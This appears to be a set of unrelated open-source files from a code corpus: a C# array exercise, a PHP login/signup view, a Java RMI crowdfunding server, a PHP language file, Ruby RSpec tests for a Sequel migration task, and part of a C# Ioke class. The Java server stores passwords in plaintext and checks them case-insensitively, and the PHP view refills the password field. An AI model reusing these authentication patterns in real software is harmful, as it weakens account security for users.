int[] arrayInput = new int[n];
Console.WriteLine("Array element");
for (int i = 0; i < n; i++)
{
arrayInput[i] = int.Parse(Console.ReadLine());
}
Array.Sort(arrayInput);
int elements = 0;
for (int i = arrayInput.Length - 1; i > arrayInput.Length - 1 - k; i--)
{
elements += arrayInput[i];
}
Console.WriteLine("Maximal sum of K = {0}", elements);
}
}
}
| mit |
ferhan777/school | application/views/login.php | 8270 |
<div class="container">
<div id="loginbox" style="margin-top:100px;" class="mainbox col-md-6 col-md-offset-3 col-sm-8 col-sm-offset-2">
<div class="panel panel-info" >
<div class="panel-heading">
<div class="panel-title">Sign In</div>
<div style="float:right; font-size: 80%; position: relative; top:-10px"><a href="#">Forgot password?</a></div>
</div>
<?php
if(isset($error)){
if($error==true){
echo "username/password is wrong";
}
}
?>
<div style="padding-top:30px" class="panel-body" >
<div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
<?php //echo validation_errors(); ?>
<form id="loginform" class="form-horizontal" role="form" action="<?=base_url()?>users/login" method="post">
<?php echo form_error('username'); ?>
<div style="margin-bottom: 25px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
<input id="login-username" type="text" class="form-control" name="username" value="<?php echo set_value('username'); ?>" placeholder="username">
</div>
<?php echo form_error('password'); ?>
<div style="margin-bottom: 25px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
<input id="login-password" type="password" class="form-control" name="password" placeholder="password" value="<?php echo set_value('password'); ?>">
</div>
<div style="margin-top:10px" class="form-group">
<!-- Button -->
<div class="col-sm-3 col-sm-offset-4 controls">
<!-- <a id="btn-login" type="submit" href="" class="btn btn-success">Login</a> -->
<input type="submit" class="form-control btn btn-success" name="submit" value="login">
</div>
</div>
<div class="form-group">
<div class="col-md-12 control">
<div style="border-top: 1px solid#888; padding-top:15px; font-size:85%" >
Don't have an account!
<a href="#" onClick="$('#loginbox').hide(); $('#signupbox').show()">
Sign Up Here
</a>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<div id="signupbox" style="display:none; margin-top:100px" class="mainbox col-md-6 col-md-offset-3 col-sm-8 col-sm-offset-2">
<div class="panel panel-info">
<div class="panel-heading">
<div class="panel-title">Sign Up</div>
<div style="float:right; font-size: 85%; position: relative; top:-10px"><a id="signinlink" href="#" onclick="$('#signupbox').hide(); $('#loginbox').show()">Sign In</a></div>
</div>
<div class="panel-body" >
<form id="signupform" class="form-horizontal" role="form" action="#" method="post">
<div id="signupalert" style="display:none" class="alert alert-danger">
<p>Error:</p>
<span></span>
</div>
<div class="form-group">
<label for="email" class="col-md-3 control-label">Email</label>
<div class="col-md-9">
<input type="text" class="form-control" name="email" placeholder="Email Address">
</div>
</div>
<div class="form-group">
<label for="firstname" class="col-md-3 control-label">First Name</label>
<div class="col-md-9">
<input type="text" class="form-control" name="firstname" placeholder="First Name">
</div>
</div>
<div class="form-group">
<label for="lastname" class="col-md-3 control-label">Last Name</label>
<div class="col-md-9">
<input type="text" class="form-control" name="lastname" placeholder="Last Name">
</div>
</div>
<div class="form-group">
<label for="password" class="col-md-3 control-label">Password</label>
<div class="col-md-9">
<input type="password" class="form-control" name="passwd" placeholder="Password">
</div>
</div>
<div class="form-group">
<label for="icode" class="col-md-3 control-label">Invitation Code</label>
<div class="col-md-9">
<input type="text" class="form-control" name="icode" placeholder="">
</div>
</div>
<div class="form-group">
<!-- Button -->
<div class="col-md-offset-3 col-md-9">
<button id="btn-signup" type="button" class="btn btn-info"><i class="icon-hand-right"></i>   Sign Up</button>
<span style="margin-left:8px;">or</span>
</div>
</div>
<div style="border-top: 1px solid #999; padding-top:20px" class="form-group">
<div class="col-md-offset-3 col-md-9">
<button id="btn-fbsignup" type="button" class="btn btn-primary"><i class="icon-facebook"></i> Sign Up with Facebook</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
| mit |
PutoPtg/SDBDProject | src/RMI/DatabaseImplementation.java | 24319 | package RMI;
import java.rmi.RemoteException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.UnicastRemoteObject;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.logging.Level;
import java.util.logging.Logger;
// BEGIN main
public class DatabaseImplementation extends UnicastRemoteObject implements DatabaseInterface {
/**
* Construct the object that implements the remote server. Called from main,
* after it has the SecurityManager in place.
*/
AtomicInteger contadorIdUsers;
AtomicInteger contadorIdProj;
AtomicInteger contadorIdRecomp;
public static ArrayList<User> listaUtilizadores;
public static ArrayList<Project> listaProjetos;
public static long[] done_work;
private static int count;
/**
*
* @throws RemoteException
*/
public DatabaseImplementation() throws RemoteException {
super(); // sets up networking
int i;
count = 0; //exclusive of log_check;
contadorIdUsers = new AtomicInteger(0);
contadorIdProj = new AtomicInteger(0);
contadorIdRecomp = new AtomicInteger(0);
listaUtilizadores = new ArrayList<User>();
listaProjetos = new ArrayList<Project>();
done_work = new long[10];
for (i = 0; i < 10; i++) {
done_work[i] = 0;
}
Object temp;
try {
carregar();
} catch (IOException | ClassNotFoundException ex) {
Logger.getLogger(DatabaseImplementation.class.getName()).log(Level.SEVERE, null, ex);
}
/**
* Test Area
*
*/
// try{
//
// }catch (Exception e){
// //Create user
//
// //Create projects
// criaProjeto("Macaco", "Teste", "Teste", Calendar inicio, Calendar fim, ) throws RemoteException;
//
// //Create rewards
//
//
// }
}
/**
* Verifies if a ticket has been processed to avoid ticket repetitions in
* case of server breakdown. Logs only a pile of the 10 previous tickets
* id's, so it is not completely failsafe.
*
* @author Manuel
* @param id ticket identification number
* @return true if it is found done or false if it is the first time
* commited.
*/
@Override
synchronized public boolean log_check(long id) {
if (count < 10) {
count++;
} else {
count = 0;
}
int i;
for (i = 0; i < 10; i++) {
if (done_work[i] == id) {
done_work[count] = id;
return true;
}
}
done_work[count] = id;
return false;
}
/**
* Creates a new user by requiring username and password. Doesn't accept
* duplicated usernames.
*
* @author Alexandra
* @param nome
* @param pass
* @return
*/
@Override
synchronized public String adicionarUser(String nome, String pass) {
for (int i = 0; i < listaUtilizadores.size(); i++) {
if ((listaUtilizadores.get(i).nome.compareToIgnoreCase(nome) == 0)) {
return "user_foud";
}
}
float saldoInicial = 100;
User utilizador = new User(nome, pass, saldoInicial);
utilizador.id = contadorIdUsers.getAndIncrement();
listaUtilizadores.add(utilizador);
try {
guardar();
} catch (IOException e) {
System.out.println("erro a guardar");
}
return "accepted_new_user";
}
// ver se dados de login sao validos
/**
* Authenticates users by username and password.
*
* @author Alexandra
* @author Manuel
* @param nome
* @param pass
* @return
*/
@Override
synchronized public String login(String nome, String pass) {
for (int i = 0; i < listaUtilizadores.size(); i++) {
if ((listaUtilizadores.get(i).nome.compareToIgnoreCase(nome) == 0) && (listaUtilizadores.get(i).pass.compareToIgnoreCase(pass) == 0)) {
return "user_found";
}
if ((listaUtilizadores.get(i).nome.compareToIgnoreCase(nome) == 0) && (listaUtilizadores.get(i).pass.compareToIgnoreCase(pass) != 0)) {
return "wrong_password";
}
}
return "unknown_user";
}
/**
* Returns present balance in user account
*
* @author Alexandra
* @param nome
* @return
*/
@Override
public String consultarSaldo(String nome) {
User u = findUser(nome);
return "Saldo: " + u.getSaldo() + "\n";
}
/**
* Creates a Project
* @author Alexandra
* @param username
* @param nome
* @param description
* @param inicio
* @param fim
* @param valor_objetivo
* @return
*/
@Override
synchronized public String criaProjeto(String username, String nome, String description, Calendar inicio, Calendar fim, float valor_objetivo) {
int id = contadorIdProj.getAndIncrement();
//int id = 0;
//id = listaProjetos.size();
User u = findUser(username);
Project proj = new Project(u, nome, description, id, inicio, fim, valor_objetivo, 0);
u.listaProjAdmin.add(proj);
listaProjetos.add(proj);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return (Integer.toString(id) + " " + listaProjetos.indexOf(proj));
}
/**
* Adds Rewards to projects
*
* @author Alexandra
* @param id_proj
* @param nome
* @param valor
*/
synchronized public String adicionarRecompensaProj(int id_proj, String nome, String desc, float valor) {
//failsafe code:
Project proj = procuraProjetoId(id_proj);
if(proj == null){
return "Project_not_found";
}
int id = proj.listaRecompProj.size();
Recompensa rec = new Recompensa(nome,id,proj, valor, false);
proj.listaRecompProj.add(rec);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return proj.nome_proj;
}
/**
* Deletes a reward given the username, project id and name of the reward
* @param username
* @param projID
* @param nome
*/
synchronized public String removeRecompensa(String username, int projID, String nome) {
// e se for cancelada? users? dinheiro? saldo?
Project proj = procuraProjetoId(projID);
User u = findUser(username);
Recompensa r = acharRecompensa(projID, nome,"P");
if(r == null){
return ("reward not Found");
}
proj.listaRecompProj.remove(r);
u.listaRecompUser.remove(r.id);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return ("acomplished");
}
/**
* list projects from user
* @Alexandra
* @Manuel
* @param username
* @return
*/
public String[] projetosAdmin(String username) {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy");
User u=findUser(username);
int size = u.listaProjAdmin.size();
String reply []= new String [size+1];
int j = 0;
for (int i=0;i<u.listaProjAdmin.size();i++) {
reply [j+1] =u.listaProjAdmin.get(i).id + " "+
u.listaProjAdmin.get(i).nome_proj + " " +
formatter.format(u.listaProjAdmin.get(i).fim.getTime()) + " " +
u.listaProjAdmin.get(i).saldo + " " +
u.listaProjAdmin.get(i).saldo_objectivo;
j++;
}
reply [0] = Integer.toString(j);
return reply;
}
synchronized public String[] listaProjActuais() {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy");
int size = listaProjetos.size();
int j = 0;
String reply []= new String [size+1];
for (int i=0;i<listaProjetos.size();i++) {
if (listaProjetos.get(i).ver_prazo()==1)
reply [j+1] = listaProjetos.get(i).id + " " +
listaProjetos.get(i).nome_proj +" " +
formatter.format(listaProjetos.get(i).fim.getTime()) + " " +
listaProjetos.get(i).saldo + " " +
listaProjetos.get(i).saldo_objectivo;
j++;
}
reply [0] = Integer.toString(j);
return reply;
}
synchronized public String[] listaProjAntigos() {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy");
int size = listaProjetos.size();
String reply []= new String [size+1];
reply [0] = Integer.toString(size);
for (int i=0;i<listaProjetos.size();i++) {
if (listaProjetos.get(i).ver_prazo()==0)
reply [i+1] = listaProjetos.get(i).id + " " +
listaProjetos.get(i).nome_proj +" " +
formatter.format(listaProjetos.get(i).fim.getTime()) + " " +
listaProjetos.get(i).saldo + " " +
listaProjetos.get(i).saldo_objectivo;
}
return reply;
}
synchronized public String[] listaProjTodos() {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy");
int size = listaProjetos.size();
String reply []= new String [size+1];
reply [0] = Integer.toString(size);
for (int i=0;i<listaProjetos.size();i++) {
if (listaProjetos.get(i).ver_prazo()==0 || listaProjetos.get(i).ver_prazo()==1)
reply [i+1] = listaProjetos.get(i).id + " " +
listaProjetos.get(i).nome_proj +" " +
formatter.format(listaProjetos.get(i).fim.getTime()) + " " +
listaProjetos.get(i).saldo + " " +
listaProjetos.get(i).saldo_objectivo;
}
return reply;
}
synchronized public void adicionarMensagem(int id_proj, String mensagem,int id_user) {
Mensagem m = new Mensagem(id_user, id_proj, mensagem);
ArrayList <Mensagem> me = new ArrayList <Mensagem>();
Project proj = procuraProjetoId(id_proj);
if (proj.inbox.get(id_user)!=null) {
me = proj.inbox.get(id_user);
}
me.add(m);
proj.inbox.put(id_user, me);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// hashmap no projeto faz corresponder user a arraylist de mensagens.
public String consultarMsgs(int id_proj) {
Project proj = procuraProjetoId(id_proj);
String str="";
int id_user;
ArrayList <Mensagem> msg;
Set<Map.Entry<Integer, ArrayList<Mensagem>>> set = proj.inbox.entrySet();
Iterator<Map.Entry<Integer, ArrayList<Mensagem>>> i= set.iterator();
str=str.concat("Mensagens:\n");
while (i.hasNext()) {
Map.Entry <Integer, ArrayList<Mensagem>> mentry = (Map.Entry<Integer, ArrayList<Mensagem>>) i.next();
id_user = (int) mentry.getKey();
msg = (ArrayList<Mensagem>) mentry.getValue();
str = str.concat("/"+procuraUserId(id_user).nome+"/[id="+procuraUserId(id_user).id+"]\n");
for (int j=0;j<msg.size();j++) {
if (msg.get(j).id_user==proj.admin.id) {
str=str.concat("A: ");
}
str = str.concat(msg.get(j).coment+"\n");
}
}
return str;
}
synchronized public void responderMsgs(int id_proj,String mensagem,int id_admin, int id_user) {
Project proj = procuraProjetoId(id_proj);
Mensagem msg = new Mensagem( id_proj,id_admin, mensagem);
ArrayList <Mensagem> msgs = proj.inbox.get(id_user);
msgs.add(msg);
proj.inbox.put(id_user, msgs);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//*****************+VOTOS***************//
public String imprimeVotos(int id_proj) {
Project p = procuraProjetoId(id_proj);
String str="";
for (int i=0;i<p.votos.size();i++) {
str=""+(p.votos.get(i).imprime(i));
}
return str;
}
synchronized public void escolheVoto(int id_user, int id_proj, int index) {
Project p = procuraProjetoId(id_proj);
p.votos.get(index).utilizadores.add(id_user);
p.votos.get(index).contador+=1;
}
public void projetosAdmin(int id_user) {
String str="";
User u=procuraUserId(id_user);
for (int i=0;i<u.listaProjAdmin.size();i++) {
u.listaProjAdmin.get(i).toString();
}
}
public String imprimeDoacoesUser(int id_user) {
String str="";
User user = procuraUserId(id_user);
int idP;
float doacao;
for(int i=0;i<user.doacoesUser.size();i++){
idP=(int)user.doacoesUser.get(i).id;
Project proj = procuraProjetoId(idP);
doacao=(float)user.doacoesUser.get(i).investido;
str=str.concat("Projeto: "+proj.nome_proj+"\nDoacao: "+doacao+"\n");
}
return str;
}
public void consultarRecompensas(int id_user) {
User user = procuraUserId(id_user);
for (int i=0;i<user.listaRecompUser.size();i++) {
procuraIdRecomp(user.listaRecompUser.get(i)).imprimeR();
}
}
public String eliminaProjeto(String username, int id_proj) {
//dinheiro volta para lista de backers
User user= findUser(username);
Project proj= procuraProjetoId(id_proj);
if (proj == null){
return ("error");
}
if(proj.saldo_objectivo>0){
devolveTudo(proj);
}
// proj.deleted = true;
user.listaProjAdmin.remove(proj);
//user.listaProjAdmin.remove(proj.id);
listaProjetos.remove(proj);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return ("done");
}
public void devolveTudo(Project proj) {
int userid;
float doacao;
for (int i=0;i<proj.listaDoacoes.size();i++){
userid=proj.listaDoacoes.get(i).id;
User u=procuraUserId(userid);
doacao=proj.listaDoacoes.get(i).investido;
proj.saldo-=doacao;
u.saldo+=doacao;
retiraRecompensa(u, proj);
for(int j=0;j<u.doacoesUser.size();j++){
if(u.doacoesUser.get(j).id==proj.id)
u.doacoesUser.remove(j);
}
}
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
synchronized public void retiraRecompensa(User u, Project proj) {
for (int i=0;i<u.listaRecompUser.size();i++) {
if (procuraIdRecomp(u.listaRecompUser.get(i)).proj == proj) {
u.listaRecompUser.remove(i);
}
}
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
synchronized public Recompensa procuraIdRecomp(int id){
for(int i=0;i<listaProjetos.size();i++){
for(int j=0;j<listaProjetos.get(i).listaRecompProj.size();j++){
if(listaProjetos.get(i).listaRecompProj.get(j).id==id){
return listaProjetos.get(i).listaRecompProj.get(j);
}
}
}
return null;
}
//lista recompensas projetos
public String [] listaRecompensas(int projID) {
String str = "";
Project p = procuraProjetoId(projID);
String array[] = new String [p.listaRecompProj.size()+1];
for (int i=0;i<p.listaRecompProj.size();i++) {
array [i+1] = p.listaRecompProj.get(i).imprimeR();
}
array[0] = Integer.toString(p.listaRecompProj.size());
return array;
}
synchronized public String doarDinheiro(String username, int id_proj, float valor) {
User user = findUser(username);
Project proj = procuraProjetoId(id_proj);
float saldo = user.getSaldo();
if(saldo>=valor){
Doacoes d =new Doacoes(valor,user.id);
Doacoes dp =new Doacoes(valor,id_proj);
proj.listaDoacoes.add(d);
user.doacoesUser.add(dp);
System.out.println("Doar ao projeto "+proj.nome_proj);
proj.saldo+=valor;
user.saldo-=valor;
return ("O seu saldo é agora de:"+user.getSaldo()+" uma vez que doou"+valor);
}
else{
return ("User tem saldo insuficiente");
}
}
synchronized public void carregar() throws IOException, ClassNotFoundException {
//onde vai ficar BD , esta implementado com objectos
FileInputStream r = new FileInputStream("ficheiros/users.txt");
ObjectInputStream obj_r = new ObjectInputStream(r);
listaUtilizadores = (ArrayList) obj_r.readObject();
contadorIdRecomp.set((Integer) obj_r.readObject());
contadorIdProj.set((Integer) obj_r.readObject());
contadorIdUsers.set((Integer) obj_r.readObject());
obj_r.close();
r = new FileInputStream("ficheiros/ideias.txt");
obj_r = new ObjectInputStream(r);
//começar atomic no ultimo definido para ids serem sempre diferentes
listaProjetos = (ArrayList) obj_r.readObject();
obj_r.close();
}
// guarda dados em ficheiro
synchronized public void guardar() throws IOException {
FileOutputStream w = new FileOutputStream("ficheiros/ideias.txt");
ObjectOutputStream obj_w = new ObjectOutputStream(w);
obj_w.writeObject(listaProjetos); // escrever arrayList
obj_w.close();
w = new FileOutputStream("ficheiros/users.txt");
obj_w = new ObjectOutputStream(w);
obj_w.writeObject(listaUtilizadores);
//guardar atomics de ids para ids serem sempre diferentes
obj_w.writeObject(contadorIdRecomp.getAndIncrement());
obj_w.writeObject(contadorIdProj.getAndIncrement());
obj_w.writeObject(contadorIdUsers.getAndIncrement());
obj_w.close();
}
//********************* RECOMPENSAS ********************************//
synchronized public void escolherRecompensa(int id_user, int id_proj,int i, float dinheiro) {
Project proj = procuraProjetoId(id_proj);
User u=procuraUserId(id_user);
Recompensa r= proj.listaRecompProj.get(i);
if (dinheiro >= r.valor)
u.listaRecompUser.add(r.id);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//ver projectos que contribui
synchronized public void verProjetosContribui(int id_user) {
String s="";
User u= procuraUserId(id_user);
for (int i=0;i<u.doacoesUser.size();i++) {
for (int j=0;j<listaProjetos.size();j++) {
if (listaProjetos.get(j).id == u.doacoesUser.get(i).id){
s =""+listaProjetos.get(j).toString();
System.out.println(s);
}
System.out.println("Investido:"+u.doacoesUser.get(i).investido);
}
}
}
synchronized public String [] verProjeto(int id_proj) {
String ne [] = new String [1];
ne [0] = "unknown";
Project temp;
if(procuraProjetoId(id_proj)==null){
return ne;
}else {
temp = procuraProjetoId(id_proj);
return temp.rosto();
}
}
//----------Auxiliar Methods-----------------------------
/**
* Finds user objecs by key username
*
* @author Manuel
* @author Alexandra
* @param username
* @return
*/
synchronized public User findUser(String username) {
for (int i = 0; i < listaUtilizadores.size(); i++) {
if (listaUtilizadores.get(i).nome.equalsIgnoreCase(username)) {
return listaUtilizadores.get(i);
}
}
return null;
}
/**
* Finds projects by given id
*
* @author Alexandra
* @param id_proj
* @return
*/
synchronized public Project procuraProjetoId(int id_proj) {
int i;
//System.out.println("O tamanho da lista de Projetos e "+listaProjetos.size());
for (i = 0; i < listaProjetos.size(); i++) {
if (listaProjetos.get(i).id == id_proj) {
return listaProjetos.get(i);
}
}
return null;
}
//-------deprecated-----
/**
* Finds user objecs by key id_user
*
* @author Alexandra
* @param id_user
* @return
*/
synchronized public User procuraUserId(int id_user) {
for (int i = 0; i < listaUtilizadores.size(); i++) {
if (listaUtilizadores.get(i).id == id_user) {
return listaUtilizadores.get(i);
}
}
return null;
}
/**
* Finds reward
* @author Alexandra
* @param id_proj
* @param nome
* @param onde
* @return
*/
synchronized public Recompensa acharRecompensa(int id_proj,String nome, String onde){
if("P".equals(onde)){ //classe de projectos
Project proj = procuraProjetoId(id_proj);
for (int i=0;i<proj.listaRecompProj.size();i++) {
if (proj.listaRecompProj.get(i).nom.compareToIgnoreCase(nome)==0) {
return proj.listaRecompProj.get(i);
}
}
}
else if("U".equals(onde)){ //classe de users
}
return null;
}
synchronized public void removeRecompensa(int userID, int projID, String nome) {
// e se for cancelada? users? dinheiro? saldo?
Project proj = procuraProjetoId(projID);
User u=procuraUserId(userID);
Recompensa r = acharRecompensa(projID, nome,"P");
proj.listaRecompProj.remove(r);
u.listaRecompUser.remove(r.id);
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//***********************VALIDADE*******************//
public void actualizar(){
for(int i=0;i<listaProjetos.size();i++){
if (listaProjetos.get(i).ver_prazo()==0) { //terminou prazo
update(listaProjetos.get(i));
}
}
}
public void update(Project proj) {
if (proj.saldo >= proj.saldo_objectivo) {
proj.admin.saldo+=proj.saldo;
entregarRecomp(proj);
}
else {
devolveTudo(proj);
}
try {
guardar();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void entregarRecomp(Project proj) {
for (int i=0;i<proj.listaRecompProj.size();i++) {
proj.listaRecompProj.get(i).entregue=true;
}
}
}
| mit |
bhishamtrehan/themedconsult | application/language/english/master/health_practitioner/health_practitioner_lang.php | 622 | <?php
$lang['hp_surname'] = 'Surname';
$lang['hp_name'] = 'Name';
$lang['hp_speciality'] = 'Speciality';
$lang['hp_clinics'] = 'Medical Practice/Clinic';
$lang['status'] = 'Status';
$lang['actions_clinic'] = 'Actions';
$lang['hp_date_created'] = 'Date Created';
$lang['non_verified'] = 'Non Verified User';
$lang['activate'] = 'Activate';
$lang['inactivate'] = 'Inactivate';
/* End of file admin_lang.php */
/* Location: ./application/language/english/add_admin/admin_lang.php */
| mit |
bmmchugh/sequel_migration_task | spec/lib/sequel/migration_task_spec.rb | 7220 | require 'spec_helper'
module Sequel
describe MigrationTask do
# DEBUG = true
before do
@db = mock(Sequel::Database)
@db.stub!(:is_a?).and_return(false)
@db.stub!(:is_a?).with(Sequel::Database).and_return(true)
@directory = 'migrations'
end
after do
if defined?(DB)
Sequel.module_eval { remove_const :DB }
end
end
describe 'arguments' do
it 'should require a directory' do
expect {
MigrationTask.new
}.to raise_error
end
describe 'directory' do
it 'should be set from the arguments' do
t = MigrationTask.new(@directory)
t.directory.should == @directory
end
it 'should be set from the options' do
t = MigrationTask.new(:directory => @directory)
t.directory.should == @directory
end
it 'should set directory from the block' do
t = MigrationTask.new do | task |
task.directory = @directory
end
t.directory.should == @directory
end
end
describe 'db' do
it 'should be set from the arguments' do
t = MigrationTask.new(@directory, @db)
t.db.should == @db
end
it 'should not depend on argument order' do
t = MigrationTask.new(@db, @directory)
t.db.should == @db
t.directory.should == @directory
end
it 'should be set from the options' do
t = MigrationTask.new(@directory, :db => @db)
t.db.should == @db
end
it 'should be set from the block' do
t = MigrationTask.new(:directory => 'x') do | task |
task.db = @db
end
t.db.should == @db
end
end
describe 'column' do
before do
@column = 'version_number'
end
it 'should be set from the options' do
t = MigrationTask.new(@directory, :column => @column)
t.column.should == @column
end
it 'should be set from the block' do
t = MigrationTask.new(@directory) do | task |
task.column = @column
end
t.column.should == @column
end
end
describe 'table' do
before do
@table = 'schema_information'
end
it 'should be set from the options' do
t = MigrationTask.new(@directory, :table => @table)
t.table.should == @table
end
it 'should be set from the block' do
t = MigrationTask.new(@directory) do | task |
task.table = @table
end
t.table.should == @table
end
end
describe 'connection' do
before do
@db_from_connection = mock
Sequel.stub!(:connect).and_return(@db_from_connection)
end
it 'should not create a connection when a connection is given' do
t = MigrationTask.new(
@directory,
@db,
'postgres://localhost/db',
:user => 'joe',
:password => 'schmoe')
t.db.should == @db
end
it 'should create a connection with additional parameters' do
Sequel.should_receive(:connect).with(
'postgres://localhost/db',
:user => 'joe',
:password => 'schmoe').and_return(@db_from_connection)
t = MigrationTask.new(
@directory,
'postgres://localhost/db',
:user => 'joe',
:password => 'schmoe')
t.db.should == @db_from_connection
end
it 'should create a connection with a hash' do
Sequel.should_receive(:connect).with(
:adapter => 'postgres',
:host => 'localhost',
:database => 'db',
:user => 'joe',
:password => 'schmoe',
:default_schema => 'test').and_return(@db_from_connection)
t = MigrationTask.new(
@directory,
:adapter => 'postgres',
:host => 'localhost',
:database => 'db',
:user => 'joe',
:password => 'schmoe',
:default_schema => 'test')
t.db.should == @db_from_connection
end
end
end
describe 'tasks' do
before do
@table = 'table'
@column = 'column'
@rake = Rake::Application.new
Rake.application = @rake
@task = MigrationTask.new do | t |
t.db = @db
t.table = @table
t.column = @column
t.directory = @directory
end
end
it 'should define an environment task' do
Rake::Task.task_defined?(:environment).should be_true
end
it 'should define a migrate task' do
Rake::Task.task_defined?(:migrate).should be_true
end
it 'should define environment as a prerequisite to migrate' do
Rake::Task[:migrate].prerequisites.include?('environment'
).should be_true
end
it 'should execute sequel migrations with no version' do
Sequel::Migrator.should_receive(:run).with(@db, @directory, {
:table => @table,
:column => @column })
Rake::Task[:migrate].invoke
end
it 'should execute sequel migrations with the version' do
Sequel::Migrator.should_receive(:run).with(@db, @directory, {
:table => @table,
:column => @column,
:target => 15 })
Rake::Task[:migrate].invoke(15)
end
it 'should execute sequel with no options' do
@rake = Rake::Application.new
Rake.application = @rake
@task = MigrationTask.new do | t |
t.db = @db
t.directory = @directory
end
Sequel::Migrator.should_receive(:run).with(@db, @directory, {})
Rake::Task[:migrate].invoke
end
it 'should execute migrations using a DB constant' do
@rake = Rake::Application.new
Rake.application = @rake
@task = MigrationTask.new do | t |
t.directory = @directory
end
DB = mock
Sequel::Migrator.should_receive(:run).with(DB, @directory, {})
Rake::Task[:migrate].invoke
end
it 'should execute migrations using a DB constant' do
@rake = Rake::Application.new
Rake.application = @rake
@task = MigrationTask.new do | t |
t.directory = @directory
end
DB = mock
Sequel::Migrator.should_receive(:run).with(DB, @directory, {})
Rake::Task[:migrate].invoke
end
it 'should execute migrations on the instance over DB constant' do
@rake = Rake::Application.new
Rake.application = @rake
@task = MigrationTask.new do | t |
t.db = @db
t.directory = @directory
end
DB = mock
Sequel::Migrator.should_receive(:run).with(@db, @directory, {})
Rake::Task[:migrate].invoke
end
end
end
end
| mit |
vic/ioke-outdated | src/ikc/main/Ioke.Lang/DefaultArgumentsDefinition.cs | 27492 | namespace Ioke.Lang {
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Text;
using Ioke.Lang.Util;
public class DefaultArgumentsDefinition {
public static int IndexOf(IList objs, object obj) {
int i = 0;
foreach(object o in objs) {
if(o == obj) {
return i;
}
i++;
}
return -1;
}
public class Argument {
string name;
public Argument(string name) {
this.name = name;
}
public string Name {
get { return name; }
}
}
public class UnevaluatedArgument : Argument {
bool required;
public UnevaluatedArgument(string name, bool required) : base(name) {
this.required = required;
}
public bool Required {
get { return required; }
}
}
public class OptionalArgument : Argument {
object defaultValue;
public OptionalArgument(string name, object defaultValue) : base(name) {
this.defaultValue = defaultValue;
}
public object DefaultValue {
get { return defaultValue; }
}
}
public class KeywordArgument : Argument {
object defaultValue;
public KeywordArgument(string name, object defaultValue) : base(name) {
this.defaultValue = defaultValue;
}
public object DefaultValue {
get { return defaultValue; }
}
}
public static DefaultArgumentsDefinition Empty() {
return new DefaultArgumentsDefinition(new SaneList<Argument>(), new SaneList<string>(), null, null, 0, 0, false);
}
private readonly int min;
private readonly int max;
private readonly IList<Argument> arguments;
private readonly ICollection<string> keywords;
private readonly string rest;
private readonly string krest;
internal readonly bool restUneval;
protected DefaultArgumentsDefinition(IList<Argument> arguments, ICollection<string> keywords, string rest, string krest, int min, int max, bool restUneval) {
this.arguments = arguments;
this.keywords = keywords;
this.rest = rest;
this.krest = krest;
this.min = min;
this.max = max;
this.restUneval = restUneval;
}
public ICollection<string> Keywords {
get { return keywords; }
}
public IList<Argument> Arguments {
get { return arguments; }
}
public int Max {
get { return max; }
}
public int Min {
get { return min; }
}
public string RestName {
get { return rest; }
}
public string KrestName {
get { return krest; }
}
public bool IsEmpty {
get { return min == 0 && max == 0 && arguments.Count == 0 && keywords.Count == 0 && rest == null && krest == null; }
}
public string GetCode() {
return GetCode(true);
}
public string GetCode(bool lastComma) {
bool any = false;
StringBuilder sb = new StringBuilder();
foreach(Argument argument in arguments) {
any = true;
if(!(argument is KeywordArgument)) {
if(argument is UnevaluatedArgument) {
sb.Append("[").Append(argument.Name).Append("]");
if(!((UnevaluatedArgument)argument).Required) {
sb.Append(" nil");
}
} else {
sb.Append(argument.Name);
}
} else {
sb.Append(argument.Name).Append(":");
}
if((argument is OptionalArgument) && ((OptionalArgument)argument).DefaultValue != null) {
sb.Append(" ");
object defValue = ((OptionalArgument)argument).DefaultValue;
if(defValue is string) {
sb.Append(defValue);
} else {
sb.Append(Message.Code(IokeObject.As(defValue, null)));
}
} else if((argument is KeywordArgument) && ((KeywordArgument)argument).DefaultValue != null) {
sb.Append(" ");
object defValue = ((KeywordArgument)argument).DefaultValue;
if(defValue is string) {
sb.Append(defValue);
} else {
sb.Append(Message.Code(IokeObject.As(defValue, null)));
}
}
sb.Append(", ");
}
if(rest != null) {
any = true;
if(restUneval) {
sb.Append("+[").Append(rest).Append("], ");
} else {
sb.Append("+").Append(rest).Append(", ");
}
}
if(krest != null) {
any = true;
sb.Append("+:").Append(krest).Append(", ");
}
if(!lastComma && any) {
sb.Remove(sb.Length - 2, 2);
}
return sb.ToString();
}
public int CheckArgumentCount(IokeObject context, IokeObject message, object on) {
Runtime runtime = context.runtime;
IList arguments = message.Arguments;
int argCount = arguments.Count;
int keySize = keywords.Count;
if(argCount < min || (max != -1 && argCount > (max+keySize))) {
int finalArgCount = argCount;
if(argCount < min) {
